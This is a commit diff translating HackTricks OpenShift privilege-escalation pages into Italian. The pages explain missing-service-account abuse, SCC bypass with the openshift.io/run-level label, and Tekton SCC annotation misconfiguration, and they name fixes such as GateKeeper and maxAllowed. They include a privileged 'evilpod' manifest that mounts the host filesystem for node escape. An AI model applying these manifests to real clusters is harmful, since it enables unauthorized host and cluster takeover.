gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-01 23:39:52 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

Browse Source
This commit is contained in:
Translator
2024-12-31 18:59:36 +00:00
parent 7770a50092
commit 820dd99aed
244 changed files with 8557 additions and 11405 deletions
Download Patch File Download Diff File Expand all files Collapse all files

8
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/README.md
View File

@@ -1,6 +1,6 @@
# OpenShift - Privilege Escalation
## Missing Service Account
## Servizio Account Mancante
{{#ref}}
openshift-missing-service-account.md
@@ -12,12 +12,8 @@ openshift-missing-service-account.md
openshift-tekton.md
{{#endref}}
## SCC Bypass
## Bypass SCC
{{#ref}}
openshift-scc-bypass.md
{{#endref}}

14
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-missing-service-account.md
View File

@@ -2,26 +2,22 @@
## Missing Service Account
It happens that cluster is deployed with preconfigured template automatically setting Roles, RoleBindings and even SCC to service account that is not yet created. This can lead to privilege escalation in the case where you can create them. In this case, you would be able to get the token of the SA newly created and the role or SCC associated. Same case happens when the missing SA is part of a missing project, in this case if you can create the project and then the SA you get the Roles and SCC associated.
Capita che il cluster venga distribuito con un modello preconfigurato che imposta automaticamente i Ruoli, i RoleBindings e persino gli SCC su un service account che non è ancora stato creato. Questo può portare a un'escursione di privilegi nel caso in cui tu possa crearli. In questo caso, saresti in grado di ottenere il token del SA appena creato e il ruolo o SCC associato. Lo stesso caso si verifica quando il SA mancante fa parte di un progetto mancante; in questo caso, se puoi creare il progetto e poi il SA, ottieni i Ruoli e gli SCC associati.
<figure><img src="../../../images/openshift-missing-service-account-image1.png" alt=""><figcaption></figcaption></figure>
In the previous graph we got multiple AbsentProject meaning multiple project that appears in Roles Bindings or SCC but are not yet created in the cluster. In the same vein we also got an AbsentServiceAccount.
Nel grafico precedente abbiamo ottenuto più AbsentProject, il che significa più progetti che appaiono nei Role Bindings o SCC ma non sono ancora stati creati nel cluster. Nella stessa vena abbiamo anche un AbsentServiceAccount.
If we can create a project and the missing SA in it, the SA will inherited from the Role or the SCC that were targeting the AbsentServiceAccount. Which can lead to privilege escalation.
Se possiamo creare un progetto e il SA mancante al suo interno, il SA erediterà il Ruolo o lo SCC che miravano all'AbsentServiceAccount. Questo può portare a un'escursione di privilegi.
The following example show a missing SA which is granted node-exporter SCC:
Il seguente esempio mostra un SA mancante a cui è stato concesso il SCC node-exporter:
<figure><img src="../../../images/openshift-missing-service-account-image2.png" alt=""><figcaption></figcaption></figure>
## Tools
The following tool can be use to enumerate this issue and more generally to graph an OpenShift cluster:
Il seguente strumento può essere utilizzato per enumerare questo problema e, più in generale, per graficare un cluster OpenShift:
{{#ref}}
https://github.com/maxDcb/OpenShiftGrapher
{{#endref}}

128
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-scc-bypass.md
View File

@@ -1,10 +1,10 @@
# Openshift - SCC bypass
**The original author of this page is** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
**L'autore originale di questa pagina è** [**Guillaume**](https://www.linkedin.com/in/guillaume-chapela-ab4b9a196)
## Privileged Namespaces
## Namespace privilegiati
By default, SCC does not apply on following projects :
Per impostazione predefinita, SCC non si applica ai seguenti progetti:
- **default**
- **kube-system**
@@ -13,130 +13,114 @@ By default, SCC does not apply on following projects :
- **openshift-infra**
- **openshift**
If you deploy pods within one of those namespaces, no SCC will be enforced, allowing for the deployment of privileged pods or mounting of the host file system.
Se distribuisci pod all'interno di uno di questi namespace, non verrà applicato alcun SCC, consentendo la distribuzione di pod privilegiati o il montaggio del file system host.
## Namespace Label
## Etichetta del Namespace
There is a way to disable the SCC application on your pod according to RedHat documentation. You will need to have at least one of the following permission :
- Create a Namespace and Create a Pod on this Namespace
- Edit a Namespace and Create a Pod on this Namespace
Esiste un modo per disabilitare l'applicazione di SCC sul tuo pod secondo la documentazione di RedHat. Dovrai avere almeno uno dei seguenti permessi:
- Creare un Namespace e Creare un Pod in questo Namespace
- Modificare un Namespace e Creare un Pod in questo Namespace
```bash
$ oc auth can-i create namespaces
yes
yes
$ oc auth can-i patch namespaces
yes
yes
```
The specific label`openshift.io/run-level` enables users to circumvent SCCs for applications. As per RedHat documentation, when this label is utilized, no SCCs are enforced on all pods within that namespace, effectively removing any restrictions.
L'etichetta specifica `openshift.io/run-level` consente agli utenti di eludere le SCC per le applicazioni. Secondo la documentazione di RedHat, quando questa etichetta è utilizzata, nessuna SCC è applicata a tutti i pod all'interno di quel namespace, rimuovendo di fatto qualsiasi restrizione.
<figure><img src="../../../images/Openshift-RunLevel4.png" alt=""><figcaption></figcaption></figure>
## Add Label
To add the label in your namespace :
## Aggiungi Etichetta
Per aggiungere l'etichetta nel tuo namespace :
```bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0
```
To create a namespace with the label through a YAML file:
Per creare un namespace con l'etichetta tramite un file YAML:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0
name: evil
labels:
openshift.io/run-level: 0
```
Now, all new pods created on the namespace should not have any SCC
Ora, tutti i nuovi pod creati nello spazio dei nomi non dovrebbero avere alcun SCC
<pre class="language-bash"><code class="lang-bash"><strong>$ oc get pod -o yaml | grep 'openshift.io/scc'
</strong><strong>$
</strong><strong>$
</strong></code></pre>
In the absence of SCC, there are no restrictions on your pod definition. This means that a malicious pod can be easily created to escape onto the host system.
In assenza di SCC, non ci sono restrizioni sulla definizione del tuo pod. Questo significa che un pod malevolo può essere facilmente creato per evadere sul sistema host.
```yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:
```
Now, it has become easier to escalate privileges to access the host system and subsequently take over the entire cluster, gaining 'cluster-admin' privileges. Look for **Node-Post Exploitation** part in the following page :
Ora è diventato più facile elevare i privilegi per accedere al sistema host e successivamente prendere il controllo dell'intero cluster, guadagnando privilegi 'cluster-admin'. Cerca la parte **Node-Post Exploitation** nella seguente pagina:
{{#ref}}
../../kubernetes-security/attacking-kubernetes-from-inside-a-pod.md
{{#endref}}
### Custom labels
### Etichette personalizzate
Furthermore, based on the target setup, some custom labels / annotations may be used in the same way as the previous attack scenario. Even if it is not made for, labels could be used to give permissions, restrict or not a specific resource.
Inoltre, in base alla configurazione target, alcune etichette / annotazioni personalizzate possono essere utilizzate nello stesso modo dello scenario di attacco precedente. Anche se non è stato creato per, le etichette potrebbero essere utilizzate per concedere permessi, limitare o meno una risorsa specifica.
Try to look for custom labels if you can read some resources. Here a list of interesting resources :
Cerca etichette personalizzate se puoi leggere alcune risorse. Ecco un elenco di risorse interessanti:
- Pod
- Deployment
- Namespace
- Service
- Route
```bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5
```
## List all privileged namespaces
## Elenca tutti i namespace privilegiati
```bash
$ oc get project -o yaml | grep 'run-level' -b5
```
## Exploit avanzato
## Advanced exploit
In OpenShift, come dimostrato in precedenza, avere il permesso di distribuire un pod in uno spazio dei nomi con l'etichetta `openshift.io/run-level` può portare a un takeover diretto del cluster. Dal punto di vista delle impostazioni del cluster, questa funzionalità **non può essere disabilitata**, poiché è intrinseca al design di OpenShift.
In OpenShift, as demonstrated earlier, having permission to deploy a pod in a namespace with the `openshift.io/run-level`label can lead to a straightforward takeover of the cluster. From a cluster settings perspective, this functionality **cannot be disabled**, as it is inherent to OpenShift's design.
Tuttavia, misure di mitigazione come **Open Policy Agent GateKeeper** possono impedire agli utenti di impostare questa etichetta.
However, mitigation measures like **Open Policy Agent GateKeeper** can prevent users from setting this label.
Per bypassare le regole di GateKeeper e impostare questa etichetta per eseguire un takeover del cluster, **gli attaccanti avrebbero bisogno di identificare metodi alternativi.**
To bypass GateKeeper's rules and set this label to execute a cluster takeover, **attackers would need to identify alternative methods.**
## References
## Riferimenti
- [https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html](https://docs.openshift.com/container-platform/4.8/authentication/managing-security-context-constraints.html)
- [https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html](https://docs.openshift.com/container-platform/3.11/admin_guide/manage_scc.html)
- [https://github.com/open-policy-agent/gatekeeper](https://github.com/open-policy-agent/gatekeeper)

72
src/pentesting-cloud/openshift-pentesting/openshift-privilege-escalation/openshift-tekton.md
View File

@@ -1,79 +1,71 @@
# OpenShift - Tekton
**The original author of this page is** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
**L'autore originale di questa pagina è** [**Haroun**](https://www.linkedin.com/in/haroun-al-mounayar-571830211)
### What is tekton
### Cos'è tekton
According to the doc: _Tekton is a powerful and flexible open-source framework for creating CI/CD systems, allowing developers to build, test, and deploy across cloud providers and on-premise systems._ Both Jenkins and Tekton can be used to test, build and deploy applications, however Tekton is Cloud Native.&#x20;
Secondo la documentazione: _Tekton è un potente e flessibile framework open-source per creare sistemi CI/CD, che consente agli sviluppatori di costruire, testare e distribuire su fornitori di cloud e sistemi on-premise._ Sia Jenkins che Tekton possono essere utilizzati per testare, costruire e distribuire applicazioni, tuttavia Tekton è Cloud Native.&#x20;
With Tekton everything is represented by YAML files. Developers can create Custom Resources (CR) of type `Pipelines` and specify multiple `Tasks` in them that they want to run. To run a Pipeline resources of type `PipelineRun` must be created.
Con Tekton tutto è rappresentato da file YAML. Gli sviluppatori possono creare Risorse Personalizzate (CR) di tipo `Pipelines` e specificare più `Tasks` in esse che desiderano eseguire. Per eseguire una Pipeline, devono essere create risorse di tipo `PipelineRun`.
When tekton is installed a service account (sa) called pipeline is created in every namespace. When a Pipeline is ran, a pod will be spawned using this sa called `pipeline` to run the tasks defined in the YAML file.
Quando tekton è installato, viene creata un'account di servizio (sa) chiamata pipeline in ogni namespace. Quando una Pipeline viene eseguita, verrà generato un pod utilizzando questo sa chiamato `pipeline` per eseguire i task definiti nel file YAML.
{{#ref}}
https://tekton.dev/docs/getting-started/pipelines/
{{#endref}}
### The Pipeline service account capabilities
By default, the pipeline service account can use the `pipelines-scc` capability. This is due to the global default configuration of tekton. Actually, the global config of tekton is also a YAML in an openshift object called `TektonConfig` that can be seen if you have some reader roles in the cluster.
### Le capacità dell'account di servizio Pipeline
Per impostazione predefinita, l'account di servizio pipeline può utilizzare la capacità `pipelines-scc`. Questo è dovuto alla configurazione predefinita globale di tekton. In realtà, la configurazione globale di tekton è anch'essa un YAML in un oggetto openshift chiamato `TektonConfig` che può essere visualizzato se si hanno alcuni ruoli di lettura nel cluster.
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
metadata:
name: config
name: config
spec:
...
...
platforms:
openshift:
scc:
default: "pipelines-scc"
...
...
platforms:
openshift:
scc:
default: "pipelines-scc"
```
In qualsiasi namespace, se riesci a ottenere il token del service account della pipeline, sarai in grado di utilizzare `pipelines-scc`.
In any namespace, if you can get the pipeline service account token you will be able to use `pipelines-scc`.
### The Misconfig
The problem is that the default scc that the pipeline sa can use is user controllable. This can be done using a label in the namespace definition. For instance, if I can create a namespace with the following yaml definition:
### La Misconfigurazione
Il problema è che il scc predefinito che il service account della pipeline può utilizzare è controllabile dall'utente. Questo può essere fatto utilizzando un'etichetta nella definizione del namespace. Ad esempio, se posso creare un namespace con la seguente definizione yaml:
```yaml
apiVersion: v1
kind: Namespace
metadata:
name: test-namespace
annotations:
operator.tekton.dev/scc: privileged
name: test-namespace
annotations:
operator.tekton.dev/scc: privileged
```
L'operatore tekton darà all'account di servizio della pipeline in `test-namespace` la possibilità di utilizzare lo scc privilegiato. Questo permetterà il montaggio del nodo.
The tekton operator will give to the pipeline service account in `test-namespace` the ability to use the scc privileged. This will allow the mounting of the node.
### La soluzione
### The fix
Tekton documents about how to restrict the override of scc by adding a label in the `TektonConfig` object.
I documenti di Tekton su come limitare l'override dello scc aggiungendo un'etichetta nell'oggetto `TektonConfig`.
{{#ref}}
https://tekton.dev/docs/operator/sccconfig/
{{#endref}}
This label is called `max-allowed`&#x20;
Questa etichetta si chiama `max-allowed`&#x20;
```yaml
apiVersion: operator.tekton.dev/v1alpha1
kind: TektonConfig
metadata:
name: config
name: config
spec:
...
...
platforms:
openshift:
scc:
default: "restricted-v2"
maxAllowed: "privileged"
...
...
platforms:
openshift:
scc:
default: "restricted-v2"
maxAllowed: "privileged"
```